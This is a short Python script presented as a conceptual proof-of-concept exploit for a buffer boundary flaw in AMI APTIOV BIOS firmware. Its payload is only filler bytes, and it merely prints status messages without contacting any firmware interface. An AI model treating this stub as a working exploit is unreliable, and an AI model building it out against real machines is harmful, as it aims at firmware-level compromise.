CVE-2025-33044

# CVE-2025-33044 PoC - AMI APTIOV BIOS Memory Buffer Boundary Violation # This is a conceptual proof-of-concept demonstrating the exploitation approach # for the Improper Restriction of Operations within the Bounds of a Memory Buffer # vulnerability in AMI APTIOV BIOS firmware. import struct import ctypes import os import sys # Note: Actual exploitation requires local access and interaction with BIOS # firmware through specific interfaces (e.g., SMM communication, EFI variables, # or platform-specific drivers). class BIOSExploit: def __init__(self): self.target_buffer_size = 256 # Expected buffer size in BIOS self.overflow_size = 512 # Overflow payload size self.payload = None def craft_malicious_payload(self): """ Craft a malicious payload that exceeds the expected buffer boundary in the BIOS firmware's memory operation handler. """ # Normal expected data within buffer bounds normal_data = b"\x00" * self.target_buffer_size # Overflow data - crafted to corrupt adjacent memory structures # ROP chain or shellcode for SMM privilege escalation overflow_data = b"\x41" * (self.overflow_size - self.target_buffer_size) # Combine normal data with overflow self.payload = normal_data + overflow_data return self.payload def trigger_vulnerability(self): """ Trigger the memory buffer boundary violation by sending the crafted payload to the BIOS firmware interface. """ if self.payload is None: self.craft_malicious_payload() # In a real exploit, this would interact with: # - EFI Runtime Services (SetVariable, GetVariable) # - SMM communication buffer # - ACPI interfaces # - Platform-specific BIOS configuration utilities try: # Simulate interaction with BIOS firmware print(f"[*] Payload size: {len(self.payload)} bytes") print(f"[*] Buffer boundary: {self.target_buffer_size} bytes") print(f"[*] Overflow: {len(self.payload) - self.target_buffer_size} bytes") print("[!] Exploit would trigger memory corruption in BIOS") print("[!] This may lead to memory corruption affecting Integrity and Availability") return True except Exception as e: print(f"[-] Exploit failed: {e}") return False def main(): print("=" * 60) print("CVE-2025-33044 - AMI APTIOV BIOS Buffer Boundary Exploit") print("CVSS 3.1: 7.8 (HIGH)") print("=" * 60) exploit = BIOSExploit() exploit.trigger_vulnerability() if __name__ == "__main__": main()

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